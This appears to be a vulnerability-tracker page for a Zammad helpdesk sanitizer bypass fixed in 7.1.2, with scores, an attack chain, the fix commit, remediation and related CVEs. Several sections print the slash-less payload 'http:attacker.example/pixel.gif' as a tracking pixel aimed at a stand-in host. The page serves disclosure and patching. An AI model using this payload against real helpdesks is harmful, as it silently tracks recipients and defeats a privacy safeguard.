Skip to main content

Zammad CVE-2026-63206

| EUVDEUVD-2026-87258 MEDIUM
Improper Input Validation (CWE-20)
2026-09-25 GitHub_M
5.3
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft email with slash-less http: image URL
  2. Delivery
    Send to helpdesk as ticket/article
  3. Exploit
    Sanitizer fails to flag URL as remote
  4. Execution
    Agent opens ticket in browser
  5. Persist
    Browser silently loads external pixel
  6. Impact
    Attacker server logs IP/UA and open time

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

No authentication or special configuration is required to deliver the payload - any external party can send an email or open a ticket, since the sanitizer runs on all ticket/email article HTML in Zammad < 7.1.2 by default. Exploitation is LIMITED by required user interaction (UI:P): a recipient - typically an agent viewing the ticket article or email view in the browser - must open the crafted content for the pixel to load. The payload must use the slash-less scheme form (e.g. src or srcset = 'http:attacker.example/pixel.gif') to evade the pre-7.1.2 unsafe_link_protocol? check; standard 'http://' URLs are already blocked. Impact is bounded to disclosing read-receipt metadata (open time, recipient IP/User-Agent), not article contents or credentials.

Impact

This is a genuine but low-severity information-disclosure flaw, not a high-impact issue. The NVD CVSS 4.0 vector (5.3, AV:N/AC:L/AT:N/PR:N/UI:P/VC:L, all other impacts N) is internally consistent with the description: an unauthenticated remote attacker sends a crafted email/ticket, and disclosure is limited (VC:L) to metadata - when and by whom the ticket was opened - via a silently-loaded remote tracking pixel. There is no integrity or availability impact, and no code execution. No EPSS score, KEV listing, or public POC was provided, so this is not confirmed to be exploited; the fix commit (a5878f37) publicly discloses the exact bypass payload (http:host without slashes), which lowers the bar to reproduce but is not the same as active exploitation. Overall this is a realistic bug-bounty-class privacy/tracking-pixel bypass rather than an urgent patch priority: real risk is bounded by the requirement that a recipient (typically an agent) open the malicious content, and the only reward to the attacker is read-receipt-style metadata. The 'Authentication Bypass' tag conflicts with the actual mechanism - nothing about authentication is bypassed; the sanitizer's remote-content blocker is bypassed to leak metadata.

Exploit ScenarioDerived

An attacker emails the helpdesk (or opens a ticket) containing an <img> whose src or srcset uses the slash-less form 'http:attacker.example/pixel.gif'. Zammad's sanitizer fails to recognize this as a remote URL, so it strips no content and shows no 'remote content blocked' warning; when an agent opens the ticket, their browser silently fetches the pixel, revealing to the attacker the agent's IP/User-Agent and exactly when the ticket was read. No public exploit code was identified, but the fixing commit discloses the exact payload format.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 25, 2026

Information disclosure in the Zammad helpdesk/customer support system versions prior to 7.1.2 allows a remote, unauthenticated party to embed a tracking pixel that evades the built-in HTML sanitizer, so that when an agent views the crafted ticket or email the recipient's browser silently loads an external image and leaks read-receipt metadata such as when and by whom the ticket was opened. Exploitation requires the recipient to open the article in a browser (CVSS 4.0 base score 5.3; independently assessed as CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N), and impact is bounded to open-time and viewer-fingerprint disclosure rather than ticket contents, credentials, or code execution. No public exploit code has been identified at time of analysis and the CVE is not in CISA KEV; the vendor-released fix is version 7.1.2.

RemediationAI

Vendor-released patch: upgrade to Zammad 7.1.2, which contains the sanitizer correction (commit a5878f37e4010f0b3bec85dae35af964cc1c8019) widening the remote-protocol check from 'http://'/'https://'/'ftp://'/'//' to 'http:'/'https:'/'ftp:'/'//', and confirm the upgrade by re-testing that '<img src="http:attacker.example/pixel.gif">' and the srcset/http:/https: variants are stripped and that scrubber.remote_content_removed flips to true; details are in the advisory https://github.com/zammad/zammad/security/advisories/GHSA-fpwp-w2p4-hqg7. If upgrading immediately is not possible, apply compensating controls that are honest about their trade-offs: deploy a Content-Security-Policy on the Zammad origin with img-src restricted to 'self' and trusted image hosts, which stops outbound pixel loads but will also break legitimately embedded external images and any CDN-hosted assets until the allowlist is tuned; block outbound HTTP/S image fetches to untrusted destinations at the egress proxy or firewall, which limits exfiltration of the read-receipt beacon but can disrupt other integrations and must be maintained as an allowlist; and instruct agents to review tickets with remote content disabled or with a mail client/plugin that blocks external images, which reduces exposure at the cost of degraded rendering of legitimate HTML email. Because the residual impact is only open-time/viewer-fingerprint disclosure, these controls are proportionate stopgaps rather than substitutes for the 7.1.2 upgrade; there is no separate configuration switch in Zammad < 7.1.2 that fully closes the slash-less scheme gap.

Affected VersionsENISA

Zammad < 7.1.2

Affected Packages

euvd zammad fix: 7.1.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Zammad sanitizes ticket and email article HTML through a scrubber implemented in lib/html_sanitizer/scrubber/wipe.rb. Its remote-content check, unsafe_link_protocol?, matched only the literal prefixes 'http://', 'https://', 'ftp://' and '//' (CWE-20: improper input validation, an allowlist/denylist normalization gap). Browsers, however, resolve the slash-less scheme-only form as a remote URL by scheme resolution, so an attribute such as src or srcset = 'http:attacker.example/pixel.gif' (or the https: equivalent) is treated as an external resource while the sanitizer fails to classify it as remote; consequently the 'remote content blocked' warning is never raised and scrubber.remote_content_removed stays false. The upstream fix in commit a5878f37e4010f0b3bec85dae35af964cc1c8019 changes the check to string.downcase.start_with?('http:', 'https:', 'ftp:', '//') and adds specs asserting that both img src/srcset with 'http:' and 'https:' scheme-only forms are wiped and flagged as removed remote content. Because the flaw sits in the shared sanitizer, it applies to all article HTML rendering paths in Zammad < 7.1.2, which handles image tags in both src and srcset attributes. Note that the supplied tags label this 'Authentication Bypass'; the authoritative independent assessment treats it strictly as a low-severity information-disclosure/tracking issue with UI:R, and no authentication or authorisation control is actually bypassed.

Know when Zammad gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
vuln.today AI 4.3 MEDIUM

Unauthenticated attacker sends content remotely (AV:N/PR:N), but a recipient must open it (UI:R); only low-value metadata leaks (C:L), no integrity/availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Sep 25, 2026 - 19:04 EUVD

DescriptionCVE.org

Zammad is a web based open source helpdesk/customer support system. Prior to 7.1.2, zammad's HTML sanitizer, which blocks remote images in ticket articles and email views, can be bypassed using a shortened URL format that omits the double slash after the scheme (for example a shortened HTTP URL instead of a shortened HTTP URL). Modern browsers treat both forms as equivalent remote URLs. As a result, an attacker who sends a crafted email or ticket can cause the recipient's browser to silently load an image from an external server, revealing when and by whom the ticket was opened. Zammad's "remote content blocked" warning is not shown because the sanitizer does not recognize the shortened form as remote. This issue is fixed in version 7.1.2.

Threat Intelligence Overview

EPSS Score
0.3%
Top 82% exploitable
Prevalence
Low
Zammad is a niche self-hosted open-source helpdesk, limited enterprise footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

More in Zammad

View all
CVE-2026-102489 CRITICAL POC
9.4 Sep 30

Session hijacking in self-hosted Zammad 6.3.0 through 6.5.4 allows remote, unauthenticated attackers to take over a legi

CVE-2026-102490 CRITICAL POC
9.4 Sep 30

Local privilege escalation in Zammad lets an attacker who already controls the unprivileged 'zammad' service account ele

CVE-2017-5619 CRITICAL
9.8 Mar 13

An issue was discovered in Zammad before 1.0.4, 1.1.x before 1.1.3, and 1.2.x before 1.2.1. Rated critical severity (CVS

CVE-2017-6080 CRITICAL
9.8 Mar 13

An issue was discovered in Zammad before 1.0.4, 1.1.x before 1.1.3, and 1.2.x before 1.2.1, caused by lack of a protecti

CVE-2022-35490 CRITICAL
9.8 Aug 08

Zammad 5.2.0 is vulnerable to privilege escalation. Rated critical severity (CVSS 9.8), this vulnerability is remotely e

CVE-2021-42090 CRITICAL
9.8 Oct 07

An issue was discovered in Zammad before 4.1.1. Rated critical severity (CVSS 9.8), this vulnerability is remotely explo

CVE-2021-42094 CRITICAL
9.8 Oct 07

An issue was discovered in Zammad before 4.1.1. Rated critical severity (CVSS 9.8), this vulnerability is remotely explo

CVE-2020-26030 CRITICAL
9.8 Dec 28

An issue was discovered in Zammad before 3.4.1. Rated critical severity (CVSS 9.8), this vulnerability is remotely explo

CVE-2024-33668 CRITICAL
9.1 Apr 26

An issue was discovered in Zammad before 6.3.0. Rated critical severity (CVSS 9.1), this vulnerability is remotely explo

CVE-2026-84458 CRITICAL
9.1 Sep 25

Zammad's SSO auto-linking logic can be abused to take over any existing local account, including agent and administrator

CVE-2022-27332 CRITICAL
9.1 Apr 27

An access control issue in Zammad v5.0.3 allows attackers to write entries to the CTI caller log without authentication.

CVE-2021-42091 CRITICAL
9.1 Oct 07

An issue was discovered in Zammad before 4.1.1. Rated critical severity (CVSS 9.1), this vulnerability is remotely explo

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy